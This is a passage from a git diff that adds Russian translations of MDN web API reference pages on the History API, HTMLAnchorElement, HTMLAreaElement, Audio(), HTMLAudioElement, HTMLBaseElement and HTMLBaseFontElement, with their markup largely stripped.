Вызов pushState() в некоторой степени похож на установку window.location = "#foo", поскольку они оба также создают и активируют ещё одну запись в истории, связанную с текущим документом.

+ +

Но у pushState() есть несколько преимуществ:

+ + + +

Обратите внимание, что pushState() никогда не вызывает событие hashchange, даже если новый URL отличается от старого только хешем.

+ +

В XUL-документах он создаёт указанный XUL-элемент

+ +

В других документах он создаёт элемент с null namespace URI.

+ +

Метод replaceState()

+ +

history.replaceState() работает точно так же, как history.pushState(), за исключением того, что replaceState() изменяет текущую запись истории вместо создания новой записи. Обратите внимание, что он не предотвращает создание новой записи в глобальной истории браузера.

+ +

replaceState() особенно полезен, когда вы хотите обновить объект состояния или URL текущей записи в истории в ответ на какое-то действие пользователя.

+ +
+
+ +
Примечание: Начиная с Gecko 2.0 {{ geckoRelease("2.0") }} и до Gecko 5.0 {{ geckoRelease("5.0") }}, переданный объект сериализуется с помощью JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект сериализуется с помощью алгоритма структурированного клонирования. Это позволяет безопасно передавать более широкий спектр объектов.
+ +

Пример метода replaceState()

+ +

Предположим, на странице http://mozilla.org/foo.html выполняется следующий JavaScript-код:

+ +
let stateObj = { foo: "bar" }
+history.pushState(stateObj, "page 2", "bar.html")
+
+ +

Объяснение этих двух строк можно найти в приведённом выше разделе пример метода pushState().

+ +

Далее, предположим, на странице http://mozilla.org/bar.html выполняется JavaScript-код:

+ +
history.replaceState(stateObj, "page 3", "bar2.html")
+
+ +

Это приведёт к тому, что в URL-строке отобразится адрес http://mozilla.org/bar2.html, но браузер не станет сразу загружать bar2.html и даже не станет проверять наличие этой страницы bar2.html.

+ +

Теперь предположим, что пользователь переходит по адресу http://www.microsoft.com, а затем нажимает на кнопку "Назад". В этом случае в URL-строке отобразится http://mozilla.org/bar2.html. Если же пользователь снова нажмёт на кнопку "Назад", в URL-строке отобразится http://mozilla.org/foo.html и полностью обойдёт bar.html.

+ +

Событие popstate

+ +

Событие popstate вызывается в окне каждый раз, когда активная запись в истории меняется. Если запись в истории, которая активируется, была создана с помощью вызова {{DOMxRef("History.pushState","pushState")}} или активирована вызовом {{DOMxRef("History.replaceState","replaceState")}}, свойство state события popstate содержит копию записи в истории объекта события.

+ +

Примеры использования можно посмотреть в {{ domxref("Window.onpopstate") }}.

+ +

Чтение текущего состояния

+ +

Когда страница загружается, она может иметь объект события со значением, отличным от "null". Это может произойти, например, если страница устанавливает объект состояния (с помощью {{DOMxRef("History.pushState","pushState()")}} или {{DOMxRef("History.replaceState","replaceState()")}}) и затем пользователь перезапускает браузер. Когда страница перезагружается, она получит событие onload, но не получит событие popstate. Тем не менее, если вы прочитаете свойство {{DOMxRef("History.state","history.state")}}, получите объект состояния, который получили, если бы произошло событие popstate.

+ +

С помощью свойства {{DOMxRef("History.state","history.state")}} можно прочитать состояние текущей записи в истории, не дожидаясь события popstate, например:

+ +
let currentState = history.state
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlanchorelement/index.html b/files/ru/web/api/htmlanchorelement/index.html new file mode 100644 index 0000000000..acfc568ef4 --- /dev/null +++ b/files/ru/web/api/htmlanchorelement/index.html @@ -0,0 +1,231 @@ +--- +title: HTMLAnchorElement +slug: Web/API/HTMLAnchorElement +translation_of: Web/API/HTMLAnchorElement +--- +
{{APIRef("HTML DOM")}}
+ +

Интерфейс HTMLAnchorElement представляет элементы гиперссылки и предоставляет специальные свойства и методы (помимо обычного объектного интерфейса {{domxref("HTMLElement")}}, который они наследуют) для управления макетом и представлением таких элементов.
+ Этот интерфейс соответствует элементу <a>; не путать с < link>, который представлен HTMLLinkElement.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Свойства

+ +

Наследует свойства от его родителя,{{domxref("HTMLElement")}}, и реализует те из {{domxref("URLUtils")}}.

+ +
+
{{domxref("HTMLAnchorElement.accessKey")}}
+
Это {{domxref("DOMString")}} отображает собой единичный символ, который переключает фокус ввода на гиперссылку.
+
{{domxref("HTMLAnchorElement.charset")}} {{obsolete_inline}}
+
Это {{domxref("DOMString")}} отображает кодировку символов связаного ресурса.
+
{{domxref("HTMLAnchorElement.coords")}} {{obsolete_inline}}
+
Это {{domxref("DOMString")}} отображает список координат разделенный запятыми.
+
{{domxref("HTMLAnchorElement.download")}} {{experimental_inline}}
+
Это {{domxref("DOMString")}} показыват что связаный ресурс предназначен для загрузки, а не для отображения в браузере. Значение представляет предполагаемое имя файла. Если имя не является допустимым именем файла нижележащей ОС, браузер будет адаптировать его. Значение это URL по схеме http:, file:, data: или даже blob: (созданный с помощью {{domxref("URL.createObjectURL")}}).
+
{{domxref("URLUtils.hash")}}
+
Это {{domxref("DOMString")}} отображает фрагмент идентификатора, включая ведущий hash mark ('#'), если, указан в URL.
+
{{domxref("URLUtils.host")}}
+
Это {{domxref("DOMString")}} отображает имя хоста порт (если это не порт по умолчанию) в указанном URL.
+
{{domxref("URLUtils.hostname")}}
+
Это {{domxref("DOMString")}} отбражает имя хоста в указанном URL.
+
{{domxref("URLUtils.href")}}
+
Это {{domxref("DOMString")}} что отображает {{htmlattrxref("href", "a")}} HTML атрибут, содержащий действительный URL связанного ресурса.
+
{{domxref("HTMLAnchorElement.hreflang")}}
+
Это {{domxref("DOMString")}} что отображает HTML атрибут {{htmlattrxref("hreflang", "a")}}, показывающий язык связанного ресурса.
+
{{domxref("HTMLAnchorElement.media")}}
+
Это {{domxref("DOMString")}} что отображает {{htmlattrxref("media", "a")}} HTML атрибут, с указанием предполагаемого media для связанного ресурса.
+
{{domxref("HTMLAnchorElement.name")}} {{obsolete_inline}}
+
Это {{domxref("DOMString")}} отображает имя якоря.
+
{{domxref("URLUtils.password")}}
+
Это {{domxref("DOMString")}} содержащий пароль, указанный перед именем домена.
+
{{domxref("URLUtils.origin")}} {{readonlyInline}}
+
Возвращает {{domxref("DOMString")}} содержащий источник, то есть его схему, его домен и его порт.
+
{{domxref("URLUtils.pathname")}}
+
Это {{domxref("DOMString")}} отображающий состовную часть пути имени, любого, ссылающегося URL.
+
{{domxref("URLUtils.port")}}
+
Это {{domxref("DOMString")}} отображающий составную часть порта, любого, ссылающегося URL.
+
{{domxref("URLUtils.protocol")}}
+
Is a {{domxref("DOMString")}} отображаеющий составную часть протокола, включая двоеточия (':'), ссылающегося URL.
+
{{domxref("HTMLAnchorElement.referrer")}} {{experimental_inline}}
+
Это {{domxref("DOMString")}} что отображает {{htmlattrxref("referrer", "a")}} HTML аттрибут, показывающий какой referrer используется, когда выбранно изображение.
+
{{domxref("HTMLAnchorElement.rel")}}
+
Это {{domxref("DOMString")}} что отображает {{htmlattrxref("rel", "a")}} HTML атрибут, уточняя взаимоотношения целевого объекта к связанному объекту.
+
{{domxref("HTMLAnchorElement.relList")}} {{readonlyInline}}
+
Возвращает {{domxref("DOMTokenList")}} который отображает {{htmlattrxref("rel", "a")}} HTML атрибут, как список токенов.
+
{{domxref("HTMLAnchorElement.rev")}} {{obsolete_inline}}
+
Это {{domxref("DOMString")}} отображающий как {{htmlattrxref("rev", "a")}} HTML атрибут, уточняя взаимоотношения связанного объекта к целевому объекту
+
{{domxref("URLUtils.search")}}
+
Это {{domxref("DOMString")}} отображающий искомый элемент, включая ведущий знак вопроса ('?'), если таковой имеется, в ссылающемся URL.
+
{{domxref("HTMLAnchorElement.shape")}} {{obsolete_inline}}
+
Это {{domxref("DOMString")}} отображающий вид активной области.
+
{{domxref("HTMLAnchorElement.tabindex")}}
+
Это long содержащий положение элемента в норядке навигационного переключения для текущего документа.
+
{{domxref("HTMLAnchorElement.target")}}
+
Это {{domxref("DOMString")}} который отображает {{htmlattrxref("target", "a")}} HTML атрибут, указывая где отображается связанный ресурс.
+
{{domxref("HTMLAnchorElement.text")}}
+
Это {{domxref("DOMString")}} является синонимом {{domxref("Node.textContent")}} свойства.
+
{{domxref("HTMLAnchorElement.type")}}
+
Это {{domxref("DOMString")}} которое отображает {{htmlattrxref("type", "a")}} HTML атрибут, показывающий MIME тип связанного ресурса.
+
{{domxref("URLUtils.username")}}
+
Это {{domxref("DOMString")}} содержащий имя пользователя определенное перед именем домена.
+
+ +

Методы

+ +

Наследует методы от его родителя, {{domxref("HTMLElement")}}, и реализует те из {{domxref("URLUtils")}}.

+ +
+
{{domxref("HTMLElement.blur()")}}
+
Удаляет фокус клавиатуры из текущего элемента.
+
{{domxref("HTMLElement.focus()")}}
+
Дает фокус клавиатуры на текущий элемент.
+
{{domxref("URLUtils.toString()")}}
+
Возвращает {{domxref("DOMString")}} содержащий весь URl. Это синоним {{domxref("URLUtils.href")}}, хотя он не может быть использован для изменения значения.
+
+ +

blur() и focus() методы наследуемые от {{domxref("HTMLElement")}} для HTML5, но они были определены в HTMLAnchorElement в DOM Level 2 HTML и более ранней спецификации.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Добавлено referrer свойство.
{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML WHATWG')}}Следующте свойство были добавлены: download.
+ Технически Technically, URL связанные свойства, media, host, hostname, pathname, port, protocol, search, и hash, были перемещены в {{domxref("URLUtils")}} интерфейс, и HTMLAreaElement реализует этот интерфейс.
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML5 W3C')}}Методы blur() и focus(), а также свойства tabindex и accessKey, теперь определены в {{domxref("HTMLElement")}}.
+ Следующие свойства сейча устарели: charset, coords, name, rev, и shape.
+ Следующие свойства были добавлены: hash, host, hostname, media, pathname, port, protocol, relList, search, and text.
{{SpecName('DOM2 HTML', 'html.html#ID-48250443', 'HTMLAnchorElement')}}{{Spec2('DOM2 HTML')}}Никаких изменений с {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-48250443', 'HTMLAnchorElement')}}{{Spec2('DOM1')}}Изначальное описание.
+ +

Совместимомть с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
download1420{{CompatUnknown}}15{{CompatUnknown}}
username, password, and origin{{CompatUnknown}}{{CompatGeckoDesktop("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
referrer{{CompatNo}}{{CompatGeckoDesktop("42")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
download{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username, password, and origin{{CompatUnknown}}{{CompatGeckoMobile("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
referrer{{CompatNo}}{{CompatGeckoMobile("42")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlareaelement/index.html b/files/ru/web/api/htmlareaelement/index.html new file mode 100644 index 0000000000..bdf4705d45 --- /dev/null +++ b/files/ru/web/api/htmlareaelement/index.html @@ -0,0 +1,220 @@ +--- +title: HTMLAreaElement +slug: Web/API/HTMLAreaElement +translation_of: Web/API/HTMLAreaElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

HTMLAreaElement интерфейс предоставляющий специальные свойства и методы (помимо тех, постоянных объектов {{domxref("HTMLElement")}} интерфейса, также доступных ему по наследству) для манипуляции расположением и представлением пространством элементов.

+ +

Свойства

+ +

Наследует свойства от его родителя, {{domxref("HTMLElement")}}, и реализует те из {{domxref("URLUtils")}}.

+ +
+
{{domxref("HTMLAreaElement.accessKey")}}
+
Это {{domxref("DOMString")}} содержащий единственный символ, который переключает фокус ввода для управления.
+
{{domxref("HTMLAreaElement.alt")}}
+
Это {{domxref("DOMString")}} которое отображает {{ htmlattrxref("alt", "area") }} HTML атрибут, содержащий альтернативный текст для элемента.
+
{{domxref("HTMLAreaElement.coords")}}
+
Это {{domxref("DOMString")}} который отображает {{ htmlattrxref("coords", "area") }} HTML атрибут, содержащий координаты активного участка региона.
+
{{domxref("HTMLAreaElement.download")}} {{experimental_inline}}
+
Это {{domxref("DOMString")}} показывает что связанный ресурс предназначен для загрузки, а не для отображения в браузере. Значение представляет собой предполагаемое имя файла. Если имя не является допустимым именем файла в данной ОС, браузер будет адаптировать его.
+
{{domxref("URLUtils.hash")}}
+
Это {{domxref("DOMString")}} содержащий идентификатор фрагмента (включая начальный hash mark (#)), если таковые имеются, в указанном URL.
+
{{domxref("URLUtils.host")}}
+
Это {{domxref("DOMString")}} содержащий имя хоста и порт (если это не порт по умолчанию) в указанном URL.
+
{{domxref("URLUtils.hostname")}}
+
Это {{domxref("DOMString")}} содержащий имя хоста в указанном URL.
+
{{domxref("URLUtils.href")}}
+
Это {{domxref("DOMString")}} содержание которого отображает {{ htmlattrxref("href", "area") }} HTML атрибут, содержащий действительный URL связанного с ним ресурса.
+
{{domxref("HTMLAreaElement.hreflang")}}
+
Это {{domxref("DOMString")}} содержание которого отображает {{ htmlattrxref("hreflang", "area") }} HTML аттрибут, показывающий язык связанного с ним ресурса.
+
{{domxref("HTMLAreaElement.media")}}
+
Это {{domxref("DOMString")}} содержание которого отображает {{ htmlattrxref("media", "area") }} HTML аттрибут, показывающий целевое mediaсвязанного с ним ресурса.
+
{{domxref("HTMLAreaElement.noHref")}} {{obsolete_inline}}
+
Это {{domxref("Boolean")}} флаг показывающий, если зона неактивна (true) или активна (false).
+
{{domxref("URLUtils.password")}}
+
Это {{domxref("DOMString")}} содержащий пароль указанный перед именем домена.
+
{{domxref("URLUtils.origin")}} {{readonlyInline}}
+
Возвращает {{domxref("DOMString")}} содержащий изначальный URL, то есть его схема, его домен, его порт.
+
{{domxref("URLUtils.pathname")}}
+
Это {{domxref("DOMString")}} содержащий состовную часть пути имени, если таковые имеются в указанном URL.
+
{{domxref("URLUtils.port")}}
+
Это {{domxref("DOMString")}} содержащий компонент порта , если таковой имеется в указанном URL.
+
{{domxref("URLUtils.protocol")}}
+
Это {{domxref("DOMString")}} содержащий компоненту протокола (в том числе двоеточия ':'), в указанном URL.
+
{{domxref("HTMLAreaElement.referrer")}} {{experimental_inline}}
+
Это {{domxref("DOMString")}} который отображает {{htmlattrxref("referrer", "area")}} HTML атрибут,  показывающий какой referrer используется когда извлекается связанны с ним ресурс.
+
{{domxref("HTMLAreaElement.rel")}}
+
Это {{domxref("DOMString")}} который отображает {{ htmlattrxref("rel", "area") }} HTML атрибут,показывая отношения текущего документа со связанным с ним ресурсом.
+
{{domxref("HTMLAreaElement.relList")}} {{readOnlyInline}}
+
Возвращает {{domxref("DOMTokenList")}} который отображает {{ htmlattrxref("rel", "area") }} HTML атрибут, показывая отношения текущего документа к связанному с ним ресурса, как список токенов.
+
{{domxref("HTMLAreaElement.search")}}
+
Это {{domxref("DOMString")}} содержащий найденный элемент (включая начальный знак вопроса'?'), если таковой имеется, в указанном URL.
+
{{domxref("HTMLAreaElement.shape")}}
+
Это {{domxref("DOMString")}} который отображается {{ htmlattrxref("shape", "area") }} HTML атрибут, включающий вид активного участка, ограниченный известными значениями.
+
{{domxref("HTMLAreaElement.tabIndex")}}
+
Как long содержащий положение элемента в порядке табуляции.
+
{{domxref("HTMLAreaElement.target")}}
+
Это  {{domxref("DOMString")}} которое отображает {{ htmlattrxref("target", "area") }} HTML атрибут, включая контекст просмотра, в котором открыт связанный с ним ресурс.
+
{{domxref("HTMLAreaElement.type")}}
+
Это {{domxref("DOMString")}} которое отображает {{ htmlattrxref("type", "area") }} HTML атрибут, показывающий MIME тип связанного с ним ресурса.
+
{{domxref("URLUtils.username")}}
+
Это {{domxref("DOMString")}} содержащий имя пользователя. определеное перед доменным именем.
+
+ +

Методы

+ +

наследует методы от его родителя, {{domxref("HTMLElement")}} и реализует те из {{domxref("URLUtils")}}.

+ +
+
{{domxref("URLUtils.toString()")}}
+
Возвращает {{domxref("DOMString")}} содержащий весь URL скрипта, выполняемого в {{domxref("Worker")}}. Это синоним для {{domxref("URLUtils.href")}}.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Добавлено свойство referrer.
{{SpecName('HTML WHATWG', "the-map-element.html#the-area-element", "HTMLAreaElement")}}{{Spec2('HTML WHATWG')}}Следующие свойства были добавлены: download.
+ Технически, the URL-связанные свойства, media, host, hostname, pathname, port, protocol, search, и hash, были перемещены в {{domxref("URLUtils")}} интерфейс, и HTMLAreaElement реализует этот интерфейс.
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-area-element", "HTMLAreaElement")}}{{Spec2('HTML5 W3C')}}Технически, свойство tabindex и accesskey теперь определены в {{domxref("HTMLElement")}}.
+ Следующие свойства сейчас устарели:  nohref.
+ Следующие свойства были добавлены: rel, relList, media, hreflang, type, host, hostname, pathname, port, protocol, search, и hash.
{{SpecName('DOM2 HTML', 'html.html#ID-26019118', 'HTMLAreaElement')}}{{Spec2('DOM2 HTML')}}Не изменилось с {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-26019118', 'HTMLAreaElement')}}{{Spec2('DOM1')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
download {{experimental_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username, password, and origin{{CompatUnknown}}{{CompatGeckoDesktop("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
referrer {{experimental_inline}}{{CompatNo}}{{CompatGeckoDesktop("42")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
download {{experimental_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username, password, and origin{{CompatUnknown}}{{CompatGeckoMobile("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
referrer {{experimental_inline}}{{CompatNo}}{{CompatGeckoMobile("42.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlaudioelement/audio()/index.html b/files/ru/web/api/htmlaudioelement/audio()/index.html new file mode 100644 index 0000000000..4d9e39dfab --- /dev/null +++ b/files/ru/web/api/htmlaudioelement/audio()/index.html @@ -0,0 +1,85 @@ +--- +title: Audio() +slug: Web/API/HTMLAudioElement/Audio() +tags: + - аудио +translation_of: Web/API/HTMLAudioElement/Audio +--- +

{{APIRef("HTML DOM")}}

+ +

Конструктор Audio() создает и возвращает новый {{domxref("HTMLAudioElement")}} объект, который может быть прикреплен к документу, чтобы пользователь мог взаимодействовать и/или слушать его, либо может использоваться вне экрана для управления и воспроизведения звука.

+ +

Синтаксис

+ +
audioObj = new Audio(url);
+ +

Параметры

+ +
+
url {{optional_inline}}
+
Необязательный параметр {{domxref("DOMString")}}, содержащий URL-адрес аудиофайла, который будет связан с новым аудиоэлементом.
+
+ +

Возвращаемое значение

+ +

Новый {{domxref("HTMLAudioElement")}} объект, настроенный для воспроизведения файла, указанного в url. Свойство {{domxref("HTMLMediaElement.preload", "preload")}} нового объекта имеет значение по умолчанию auto, а его свойство src — указанный URL-адрес или null, если адрес не указан. Если указан URL-адрес, браузер начинает асинхронно загружать медиаресурс перед возвратом нового объекта.

+ + + +

Примечания по использованию

+ +

Вы также можете использовать другие методы создания элементов, такие как метод {{domxref("Document.createElement", "createElement()")}} объекта {{domxref("document")}}, для создания нового {{domxref("HTMLAudioElement")}} объекта.

+ +

Определение, когда воспроизведение может начаться

+ +

Существует три способа определить насколько аудио-файл загружен, чтобы начать воспроизведение:

+ + + +

Лучший подход, основанный на событии:

+ +
myAudioElement.addEventListener("canplaythrough", event => {
+  /* аудио может быть воспроизведено; проиграть, если позволяют разрешения */
+  myAudioElement.play();
+});
+ +

Использование памяти и управление

+ +

Если все ссылки на аудиоэлемент, созданные с помощью конструктора Audio() удалены, сам элемент не будет удален из памяти механизмом сборщика мусора JavaScript, если в данный момент идет воспроизведение. Вместо этого продолжится воспроизведение и объект останется в памяти до тех пор, пока не закончится аудио или оно не будет приостановлено (например, путем вызова {{domxref("HTMLMediaElement.pause", "pause()")}}). В этот момент объект подлежит уничтожению сборщиком мусора.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "#dom-audio", "Audio()")}}{{Spec2('HTML WHATWG')}}
+ +

Поддержка браузерами

+ +

Таблица совместимости на этой странице генерируется из структурированных данных. Если Вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправте нам Pull-запрос.

+ +

{{Compat("api.HTMLAudioElement.Audio")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlaudioelement/index.html b/files/ru/web/api/htmlaudioelement/index.html new file mode 100644 index 0000000000..c5220d62d0 --- /dev/null +++ b/files/ru/web/api/htmlaudioelement/index.html @@ -0,0 +1,171 @@ +--- +title: HTMLAudioElement +slug: Web/API/HTMLAudioElement +translation_of: Web/API/HTMLAudioElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +
 
+ +

HTMLAudioElement позволяет получить доступ к элементу  {{HTMLElement("audio")}} и имеет DOM элемент {{domxref("HTMLMediaElement")}}.

+ +

Свойства

+ +

Не имеет своих свойств; наследует свойства от родителя {{domxref("HTMLMediaElement")}} и от {{domxref("HTMLElement")}}.

+ +

Методы

+ +

Наследует методы от родителя {{domxref("HTMLMediaElement")}} и от {{domxref("HTMLElement")}}.

+ +

Конструктор

+ +

Синтаксис

+ +
mySound = new Audio([URLString]);
+
+ +

Описание

+ +

Конструктор audio элемента. Свойство preload по умолчанию задано как auto, а src равно значению аргумента URLString. Перед воспроизведением, браузер асинхронно загружает объект в кэш и впоследствии берет данные оттуда.

+ +

Параметры

+ +
+
URLString (expected type: {{domxref("DOMString")}}; optional)
+
'src' для 'audio' тега. (URL , с которого должен получать mp3 файл)
+
+ +

Регулярные методы

+ + + + + + + + + + + + + + + + + + + + + + + + +
Name & ArgumentsReturnDescription
mozCurrentSampleOffset() {{non-standard_inline}}unsigned long longОтображает текущую нагрузку аудиострима, который был создан методом mozWriteAudio(). Эта цифра отражает количество сэмплов с момента начала стрима
+

mozSetup(in PRUint32 channels, in PRUint32 rate) {{non-standard_inline}}

+ 		voidСоздает аудиострима для записи. Вы можете указать такие параметры, как количество каналов  (1 for mono or 2 for stereo), так и частота сэмпла (44100 for 44.1kHz, for example).
mozWriteAudio(in jsval data) {{non-standard_inline}}unsigned longЗапускает аудио стрим на текущую частоту. Возращает количество байтов, которые записаны в стрим
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#the-audio-element", "HTMLAudioElement")}}{{Spec2('HTML WHATWG')}}Нет изменений {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-audio-element", "HTMLAudioElement")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Поддержка браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

 

+ + + + + + + +
Особенность
+ 		ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.9.1)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
С поддержкой фич mozSetup(), mozCurrentSampleOffset(), mozWriteAudio() {{non-standard_inline}}{{CompatNo}}{{CompatGeckoDesktop(2.0)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФичаAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile(1.9.1)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
С поддержкой фич mozSetup(), mozCurrentSampleOffset(), mozWriteAudio() {{non-standard_inline}}{{CompatNo}}{{CompatGeckoMobile(2.0)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlbaseelement/index.html b/files/ru/web/api/htmlbaseelement/index.html new file mode 100644 index 0000000000..fd7b39d997 --- /dev/null +++ b/files/ru/web/api/htmlbaseelement/index.html @@ -0,0 +1,120 @@ +--- +title: HTMLBaseElement +slug: Web/API/HTMLBaseElement +translation_of: Web/API/HTMLBaseElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +
 
+ +

HTMLBaseElement интерфейс содержит базовый URI для документа. Этот объект наследует все свойства и методы которые описаны в {{domxref("HTMLElement")}} интерфейсе.

+ +

Свойства

+ +

Наследует свойства от его родителя, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLBaseElement.href")}}
+
IЭто {{domxref("DOMString")}} которая отображает {{htmlattrxref("href", "base")}} HTML атрибут, содержащий базовый URL относительно URLs ы документе.
+
{{domxref("HTMLBaseElement.target")}}
+
Это {{domxref("DOMString")}} которое отображает {{htmlattrxref("target", "base")}} HTML атрибут, содержащий контекст цели просмотра по умолчанию или фрейм для элементов которые не имеют указанную целевую ссылку.
+
+ +

Методы

+ +

Не имеет специфичных методов; наследует атрибуты от своего родителя, {{domxref("HTMLElement")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('HTML WHATWG', "semantics.html#the-base-element", "HTMLBaseElement")}}{{Spec2('HTML WHATWG')}}Не изменилось с последнего снимка, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', "document-metadata.html#the-base-element", "HTMLBaseElement")}}{{Spec2('HTML5.1')}}Не изменилось с {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "document-metadata.html#the-base-element", "HTMLBaseElement")}}{{Spec2('HTML5 W3C')}}Не изменилось с {{SpecName("DOM2 HTML")}}.
{{SpecName('DOM2 HTML', 'html.html#ID-73629039', 'HTMLBaseElement')}}{{Spec2('DOM2 HTML')}}Не изменилось с {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-73629039', 'HTMLBaseElement')}}{{Spec2('DOM1')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlbasefontelement/index.html b/files/ru/web/api/htmlbasefontelement/index.html new file mode 100644 index 0000000000..6d5d0ce86b --- /dev/null +++ b/files/ru/web/api/htmlbasefontelement/index.html @@ -0,0 +1,105 @@ +--- +title: HTMLBaseFontElement +slug: Web/API/HTMLBaseFontElement +translation_of: Web/API/HTMLBaseFontElement +--- +

{{APIRef("HTML DOM")}} {{obsolete_header}}

+ +

HTMLBaseFontElementинтерфейс предоставляющий специальные свойства (помимо тех постоянных объектов  {{domxref("HTMLElement")}} интерфейса, доступных ему также по наследству) для манипулирования {{HTMLElement("basefont")}} элементами.

+ +

элемент <basefont> устарел HTML4 и удален в HTML5. Это последняя спецификация которая этот элемент реализует This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} вместо HTMLBaseFontElement.

+ +

Свойства

+ +

Наследует свойства от его родителя, {{domxref("HTMLElement")}}.

+ +
+
HTMLBaseFontElement.color
+
Это {{domxref("DOMString")}} представляющий цвет текста, используя либо именованый цвет или цвет определенный в шестнадцатиричном формате #RRGGBB.
+
HTMLBaseFontElement.face
+
